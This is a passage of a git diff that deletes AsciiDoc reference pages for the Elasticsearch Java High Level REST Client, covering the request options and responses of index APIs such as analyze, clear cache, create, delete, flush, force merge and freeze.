-Its main goal is to expose API specific methods, that accept request objects as
-an argument and return response objects, so that request marshalling and
-response un-marshalling is handled by the client itself.
-
-Each API can be called synchronously or asynchronously. The synchronous
-methods return a response object, while the asynchronous methods, whose names
-end with the `async` suffix, require a listener argument that is notified
-(on the thread pool managed by the low level client) once a response or an
-error is received.
-
-The Java High Level REST Client depends on the Elasticsearch core project.
-It accepts the same request arguments as the `TransportClient` and returns
-the same response objects.
-
---
-
-:doc-tests: {elasticsearch-root}/client/rest-high-level/src/test/java/org/elasticsearch/client/documentation
-:hlrc-tests: {elasticsearch-root}/client/rest-high-level/src/test/java/org/elasticsearch/client
-
-include::getting-started.asciidoc[]
-include::supported-apis.asciidoc[]
-include::java-builders.asciidoc[]
-include::migration.asciidoc[]
-include::../license.asciidoc[]
-
-:doc-tests!:
-:mainid!:
diff --git a/docs/java-rest/high-level/indices/analyze.asciidoc b/docs/java-rest/high-level/indices/analyze.asciidoc
deleted file mode 100644
index 9464394fd1e..00000000000
--- a/docs/java-rest/high-level/indices/analyze.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
---
-:api: analyze
-:request: AnalyzeRequest
-:response: AnalyzeResponse
---
-
-[id="{upid}-{api}"]
-=== Analyze API
-
-[id="{upid}-{api}-request"]
-==== Analyze Request
-
-An +{request}+ contains the text to analyze, and one of several options to
-specify how the analysis should be performed.
-
-The simplest version uses a built-in analyzer:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-builtin-request]
----------------------------------------------------
-<1> A built-in analyzer
-<2> The text to include.  Multiple strings are treated as a multi-valued field
-
-You can configure a custom analyzer:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-custom-request]
----------------------------------------------------
-<1> Configuration for a custom tokenfilter
-<2> Configure the tokenizer
-<3> Configure char filters
-<4> Add a built-in tokenfilter
-<5> Add the custom tokenfilter
-
-You can also build a custom normalizer, by including only charfilters and
-tokenfilters:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-custom-normalizer-request]
----------------------------------------------------
-
-You can analyze text using an analyzer defined in an existing index:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-index-request]
----------------------------------------------------
-<1> The index containing the mappings
-<2> The analyzer defined on this index to use
-
-Or you can use a normalizer:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-index-normalizer-request]
----------------------------------------------------
-<1> The index containing the mappings
-<2> The normalizer defined on this index to use
-
-You can analyze text using the mappings for a particular field in an index:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-field-request]
----------------------------------------------------
-
-==== Optional arguments
-The following arguments can also optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-explain]
----------------------------------------------------
-<1> Setting `explain` to true will add further details to the response
-<2> Setting `attributes` allows you to return only token attributes that you are
-interested in
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Analyze Response
-
-The returned +{response}+ allows you to retrieve details of the analysis as
-follows:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-tokens]
----------------------------------------------------
-<1> `AnalyzeToken` holds information about the individual tokens produced by analysis
-
-If `explain` was set to `true`, then information is instead returned from the `detail()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-detail]
----------------------------------------------------
-<1> `DetailAnalyzeResponse` holds more detailed information about tokens produced by
-the various substeps in the analysis chain.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/clear_cache.asciidoc b/docs/java-rest/high-level/indices/clear_cache.asciidoc
deleted file mode 100644
index bbd2389ee6e..00000000000
--- a/docs/java-rest/high-level/indices/clear_cache.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
---
-:api: clear-cache
-:request: ClearIndicesCacheRequest
-:response: ClearIndicesCacheResponse
---
-
-[id="{upid}-{api}"]
-=== Clear Cache API
-
-[id="{upid}-{api}-request"]
-==== Clear Cache Request
-
-A +{request}+ can be applied to one or more indices, or even on
-`_all` the indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Clears the cache of one index
-<2> Clears the cache of multiple indices
-<3> Clears the cache of all the indices
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-query]
---------------------------------------------------
-<1> Set the `query` flag to `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-fielddata]
---------------------------------------------------
-<1> Set the `fielddata` flag to `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-request]
---------------------------------------------------
-<1> Set the `request` flag to `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-fields]
---------------------------------------------------
-<1> Set the `fields` parameter
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clear Cache Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Total number of shards hit by the clear cache request
-<2> Number of shards where the clear cache has succeeded
-<3> Number of shards where the clear cache has failed
-<4> A list of failures if the operation failed on one or more shards
-
-By default, if the indices were not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the indices to be cleared were not found
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/clone_index.asciidoc b/docs/java-rest/high-level/indices/clone_index.asciidoc
deleted file mode 100644
index 7448b8a402b..00000000000
--- a/docs/java-rest/high-level/indices/clone_index.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
---
-:api: clone-index
-:request: ResizeRequest
-:response: ResizeResponse
---
-
-[id="{upid}-{api}"]
-=== Clone Index API
-
-[id="{upid}-{api}-request"]
-==== Resize Request
-
-The Clone Index API requires a +{request}+ instance.
-A +{request}+ requires two string arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The target index (first argument) to clone the source index (second argument) into
-<2> The resize type needs to be set to `CLONE`
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before the clone index API
-returns a response, as an `int`
-<2> The number of active shard copies to wait for before the clone index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> The settings to apply to the target index, which optionally include the
-number of shards to create for it
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The aliases to associate the target index with
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clone Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
-
-
diff --git a/docs/java-rest/high-level/indices/close_index.asciidoc b/docs/java-rest/high-level/indices/close_index.asciidoc
deleted file mode 100644
index 6d6fb917c79..00000000000
--- a/docs/java-rest/high-level/indices/close_index.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
---
-:api: close-index
-:request: CloseIndexRequest
-:response: CloseIndexResponse
---
-
-[id="{upid}-{api}"]
-=== Close Index API
-
-[id="{upid}-{api}-request"]
-==== Close Index Request
-
-A +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to close
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is closed
-as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Close Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/indices/create_index.asciidoc b/docs/java-rest/high-level/indices/create_index.asciidoc
deleted file mode 100644
index 004279ba2a8..00000000000
--- a/docs/java-rest/high-level/indices/create_index.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
---
-:api: create-index
-:request: CreateIndexRequest
-:response: CreateIndexResponse
---
-
-[id="{upid}-{api}"]
-=== Create Index API
-
-[id="{upid}-{api}-request"]
-==== Create Index Request
-
-A +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to create
-
-==== Index settings
-Each index created can have specific settings associated with it.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> Settings for this index
-
-[[java-rest-high-create-index-request-mappings]]
-==== Index mappings
-An index may be created with mappings for its document types
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mappings]
---------------------------------------------------
-<1> The type to define
-<2> The mapping for this type, provided as a JSON string
-
-The mapping source can be provided in different ways in addition to the
-`String` example shown above:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-mappings-map]
---------------------------------------------------
-<1> Mapping source provided as a `Map` which gets automatically converted
-to JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-mappings-xcontent]
---------------------------------------------------
-<1> Mapping source provided as an `XContentBuilder` object, the Elasticsearch
-built-in helpers to generate JSON content
-
-==== Index aliases
-Aliases can be set at index creation time
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The alias to define
-
-==== Providing the whole source
-
-The whole source including all of its sections (mappings, settings and aliases)
-can also be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-whole-source]
---------------------------------------------------
-<1> The source provided as a JSON string. It can also be provided as a `Map`
-or an `XContentBuilder`.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index creation as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before the create index API returns a
-response, as an `int`
-<2> The number of active shard copies to wait for before the create index API returns a
-response, as an `ActiveShardCount`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Create Index Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for each shard in the index before timing out
diff --git a/docs/java-rest/high-level/indices/delete_alias.asciidoc b/docs/java-rest/high-level/indices/delete_alias.asciidoc
deleted file mode 100644
index ec451c5bc5c..00000000000
--- a/docs/java-rest/high-level/indices/delete_alias.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
---
-:api: delete-alias
-:request: DeleteAliasRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Alias API
-
-[id="{upid}-{api}-request"]
-==== Delete Alias Request
-
-An +{request}+ requires an `index` and an `alias` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-[id="{upid}-{api}-response"]
-==== Delete Alias Response
-
-The returned +{response}+ indicates if the request to delete the alias
-was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the request to delete the alias was
-acknowledged.
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/delete_index.asciidoc b/docs/java-rest/high-level/indices/delete_index.asciidoc
deleted file mode 100644
index c96885790b3..00000000000
--- a/docs/java-rest/high-level/indices/delete_index.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
---
-:api: delete-index
-:request: DeleteIndexRequest
-:response: DeleteIndexResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Index API
-
-[id="{upid}-{api}-request"]
-==== Delete Index Request
-
-A +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index deletion as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the index deletion as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete Index Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-
-If the index was not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the index to be deleted was not found
diff --git a/docs/java-rest/high-level/indices/delete_index_template.asciidoc b/docs/java-rest/high-level/indices/delete_index_template.asciidoc
deleted file mode 100644
index 0f28e0d80eb..00000000000
--- a/docs/java-rest/high-level/indices/delete_index_template.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: delete-index-template-v2
-:request: DeleteIndexTemplateV2Request
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Composable Index Template API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Composable Index Template API allows you to delete an index template.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of an index template to delete.
-
-=== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete template request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete template request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/indices/delete_template.asciidoc b/docs/java-rest/high-level/indices/delete_template.asciidoc
deleted file mode 100644
index 4ca88f1bfc1..00000000000
--- a/docs/java-rest/high-level/indices/delete_template.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: delete-template
-:request: DeleteIndexTemplateRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Template API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Template API allows you to delete an index template.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of an index template to delete.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete template request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete template request was acknowledged.
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/exists_alias.asciidoc b/docs/java-rest/high-level/indices/exists_alias.asciidoc
deleted file mode 100644
index baaf7585683..00000000000
--- a/docs/java-rest/high-level/indices/exists_alias.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
---
-:api: exists-alias
-:request: GetAliasesRequest
-:response: Boolean
---
-
-[id="{upid}-{api}"]
-=== Exists Alias API
-
-[id="{upid}-{api}-request"]
-==== Exists Alias Request
-
-The Exists Alias API uses +{request}+ as its request object.
-One or more aliases can be optionally provided either at construction
-time or later on through the relevant setter method.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-alias]
---------------------------------------------------
-<1> One or more aliases to look for
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indices]
---------------------------------------------------
-<1> The index or indices that the alias is associated with
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-local]
---------------------------------------------------
-<1> The `local` flag (defaults to `false`) controls whether the aliases need
-to be looked up in the local cluster state or in the cluster state held by
-the elected master node
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Exists Alias Response
-
-The Exists Alias API returns a +{response}+ that indicates whether the provided
-alias (or aliases) was found or not.
diff --git a/docs/java-rest/high-level/indices/flush.asciidoc b/docs/java-rest/high-level/indices/flush.asciidoc
deleted file mode 100644
index 8bcb203186f..00000000000
--- a/docs/java-rest/high-level/indices/flush.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
---
-:api: flush
-:request: FlushRequest
-:response: FlushResponse
---
-
-[id="{upid}-{api}"]
-=== Flush API
-
-[id="{upid}-{api}-request"]
-==== Flush Request
-
-A +{request}+ can be applied to one or more indices, or even on `_all` the indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Flush one index
-<2> Flush multiple indices
-<3> Flush all the indices
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait]
---------------------------------------------------
-<1> Set the `wait_if_ongoing` flag to `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-force]
---------------------------------------------------
-<1> Set the `force` flag to `true`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Flush Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Total number of shards hit by the flush request
-<2> Number of shards where the flush has succeeded
-<3> Number of shards where the flush has failed
-<4> A list of failures if the operation failed on one or more shards
-
-By default, if the indices were not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the indices to be flushed were not found
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/flush_synced.asciidoc b/docs/java-rest/high-level/indices/flush_synced.asciidoc
deleted file mode 100644
index e5dfa59153b..00000000000
--- a/docs/java-rest/high-level/indices/flush_synced.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
---
-:api: flush-synced
-:request: SyncedFlushRequest
-:response: SyncedFlushResponse
---
-
-[id="{upid}-{api}"]
-=== Flush Synced API
-
-[id="{upid}-{api}-request"]
-==== Flush Synced Request
-
-A +{request}+ can be applied to one or more indices, or even on `_all` the indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Flush synced one index
-<2> Flush synced multiple indices
-<3> Flush synced all the indices
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Flush Synced Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Total number of shards hit by the flush request
-<2> Number of shards where the flush has succeeded
-<3> Number of shards where the flush has failed
-<4> Name of the index whose results we are about to calculate.
-<5> Total number of shards for index mentioned in 4.
-<6> Successful shards for index mentioned in 4.
-<7> Failed shards for index mentioned in 4.
-<8> One of the failed shard ids of the failed index mentioned in 4.
-<9> Reason for failure of copies of the shard mentioned in 8.
-<10> JSON represented by a Map<String, Object>. Contains shard related information like id, state, version etc.
-for the failed shard copies. If the entire shard failed then this returns an empty map.
-
-By default, if the indices were not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the indices to be flushed were not found
diff --git a/docs/java-rest/high-level/indices/force_merge.asciidoc b/docs/java-rest/high-level/indices/force_merge.asciidoc
deleted file mode 100644
index 8126ad597f9..00000000000
--- a/docs/java-rest/high-level/indices/force_merge.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
---
-:api: force-merge
-:request: ForceMergeRequest
-:response: ForceMergeResponse
---
-
-[id="{upid}-{api}"]
-=== Force Merge API
-
-[id="{upid}-{api}-request"]
-==== Force merge Request
-
-A +{request}+ can be applied to one or more indices, or even on `_all` the indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Force merge one index
-<2> Force merge multiple indices
-<3> Force merge all the indices
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-segments-num]
---------------------------------------------------
-<1> Set `max_num_segments` to control the number of segments to merge down to.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-only-expunge-deletes]
---------------------------------------------------
-<1> Set the `only_expunge_deletes` flag to `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-flush]
---------------------------------------------------
-<1> Set the `flush` flag to `true`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Force Merge Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Total number of shards hit by the force merge request
-<2> Number of shards where the force merge has succeeded
-<3> Number of shards where the force merge has failed
-<4> A list of failures if the operation failed on one or more shards
-
-By default, if the indices were not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the indices to be force merged were not found
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/freeze_index.asciidoc b/docs/java-rest/high-level/indices/freeze_index.asciidoc
deleted file mode 100644
index 2a26fe8bcd4..00000000000
--- a/docs/java-rest/high-level/indices/freeze_index.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
---
-:api: freeze-index
-:request: FreezeIndexRequest
-:response: FreezeIndexResponse
---
-
-[id="{upid}-{api}"]
-=== Freeze Index API
-
-[id="{upid}-{api}-request"]
-==== Freeze Index Request
-
-An +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to freeze
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is frozen
-as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before  the freeze index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Freeze Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
